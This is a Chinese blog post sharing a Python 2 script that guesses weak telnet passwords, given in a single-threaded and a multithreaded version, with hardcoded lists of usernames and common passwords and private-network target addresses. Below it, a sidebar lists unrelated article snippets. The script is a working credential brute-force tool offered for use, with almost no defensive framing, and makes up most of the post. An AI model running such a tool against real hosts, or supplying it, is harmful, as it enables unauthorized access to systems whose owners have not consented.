Telnet弱口令猜解【Python脚本】

简介: telnet 弱口令猜解脚本   测试环境:window2003、centos7   #! /usr/bin/env python # _*_ coding:utf-8 _*_ import telnetlib username_list=['xiaozi','adm...

 

telnet 弱口令猜解脚本  

测试环境:window2003、centos7

 

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import telnetlib
username_list=['xiaozi','administrator']
password_list=['root','','abc123!','123456','password','root']

def telnet(ip,port=23):
	for username in username_list:
		user =username.rstrip()
		for password in password_list:
			pwd = password.rstrip()
			try:
				tn = telnetlib.Telnet(ip,timeout=5)
				tn.set_debuglevel(0)
				tn.read_until("login: ")
				tn.write(user + '\r\n')

				tn.read_until("assword: ")
				tn.write(pwd + '\r\n')

				result = tn.read_some()
				result = result+tn.read_some()

				if result.find('Login Fail')>0 or result.find('incorrect')>0:
					print "[-] Checking for"+user,pwd+" fail"
				else:
					print "[+] Success login for "+user,pwd
				tn.close()
			except:
				print '[-] Something Error'+username,password+" fail"
if __name__ == '__main__':
	telnet('192.168.106.131')
	print "========================================"
	telnet('192.168.106.143')

 

多线程版本

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import telnetlib
import time
import threadpool
from threading import *
screenLock = Semaphore(value=2)
start_time = time.time()

def telnet_login(ip,port,user,pwd):

    try:
        screenLock.acquire()
        tn = telnetlib.Telnet(ip,timeout=5)
        tn.set_debuglevel(0)
        tn.read_until("login: ")
        tn.write(user + '\r\n')
        tn.read_until("assword: ")
        tn.write(pwd + '\r\n')
        result = tn.read_some()
        result = result+tn.read_some()
    
        if result.find('Login Fail')>0 or result.find('incorrect')>0:
        
            print "[-] Checking for "+user,pwd+" fail"
        else:
            print "[+] Success login for "+user,pwd
        tn.close()
        screenLock.release()
    except:
        print '[-] Something Error '+user,pwd+" fail"
    
    finally:
        pass
def getuserdic(ip,port):
    username_list=['xiaozi','administrator']
    password_list=['root','','abc123!','123456','password','root']
    userlist = []
    for username in username_list:
        user =username.rstrip()
        for password in password_list:
            pwd = password.rstrip()
            userdic ={}
            userdic['ip']=ip
            userdic['port']=port
            userdic['user']=user
            userdic['pwd'] = pwd
            tmp=(None,userdic)
            userlist.append(tmp)
    return userlist
def telnet(ip,port):
    userlist = getuserdic(ip,port)
    pool = threadpool.ThreadPool(10)  
    requests = threadpool.makeRequests(telnet_login,userlist)  
    [pool.putRequest(req) for req in requests]  
    pool.wait()  

        
if __name__ == '__main__':
    start_time = time.time()
    telnet('10.9.10.205',23)    
    print 'Checking for SSH weak password:%d' % (time.time() - start_time)

 

 

 

 

 

参考文章:

http://blog.csdn.net/leonard_wang/article/details/52160674

 

目录
相关文章
|
3月前
|
JSON 算法 API
深度分析小红书城API接口,用Python脚本实现
小红书作为以UGC内容为核心的生活方式平台,其非官方API主要通过移动端抓包解析获得,涵盖内容推荐、搜索、笔记详情、用户信息和互动操作等功能。本文分析了其接口体系、认证机制及请求规范,并提供基于Python的调用框架,涉及签名生成、登录态管理与数据解析。需注意非官方接口存在稳定性与合规风险,使用时应遵守平台协议及法律法规。
|
3月前
|
JSON API 数据安全/隐私保护
【干货满满】分享微店API接口到手价,用python脚本实现
微店作为知名社交电商平台,其开放平台提供商品查询、订单管理等API接口。本文介绍如何通过微店API获取商品到手价(含优惠、券等),涵盖认证机制、Python实现及关键说明。
|
3月前
|
JSON API 数据格式
深度分析大麦网API接口,用Python脚本实现
大麦网为国内领先演出票务平台,提供演唱会、话剧、体育赛事等票务服务。本文基于抓包分析其非官方接口,并提供Python调用方案,涵盖演出列表查询、详情获取及城市列表获取。需注意非官方接口存在稳定性风险,使用时应遵守平台规则,控制请求频率,防范封禁与法律风险。适用于个人学习、演出信息监控等场景。
|
3月前
|
JSON API 开发者
深度分析阿里妈妈API接口,用Python脚本实现
阿里妈妈是阿里巴巴旗下营销平台,提供淘宝联盟、直通车等服务,支持推广位管理、商品查询等API功能。本文详解其API调用方法,重点实现商品推广信息(佣金、优惠券)获取,并提供Python实现方案。
|
3月前
|
JSON API 数据安全/隐私保护
深度分析虾皮城API接口,用Python脚本实现
虾皮开放平台提供丰富的API接口,支持商品管理、订单处理及促销信息查询等功能。本文详解API认证机制与调用方法,基于Python实现商品价格及到手价获取方案,适用于电商数据分析与运营。
|
3月前
|
API 数据安全/隐私保护 开发者
深度分析苏宁API接口,用Python脚本实现
深度分析苏宁API接口,用Python脚本实现
|
3月前
|
前端开发 Shell API
深度分析58同城API接口,用Python脚本实现
58同城为国内知名分类信息平台,涵盖房产、招聘、二手车等多领域。本文基于网页抓包与解析,分享其非官方接口的Python实现方案,分析核心接口特性与反爬应对策略,适用于数据学习与信息聚合。注意:非官方接口存在风险,使用需遵守平台规则。
|
Linux 网络安全
linux端口连通性测试telnet、wget、ssh、curl
linux端口连通性测试telnet、wget、ssh、curl
379 0
|
安全 Linux
Linux安装Telnet
Linux安装Telnet
344 0
|
11月前
|
安全 网络协议 Linux
telnet在windows和linux上的使用方法
Telnet是一个简单且强大的网络工具,广泛用于远程管理和网络诊断。尽管存在安全风险,但在受控环境中,Telnet仍然是一个非常有用的工具。通过本文的介绍,您应该能够在Windows和Linux系统上安装并使用Telnet进行各种网络操作。
1981 18

推荐镜像

更多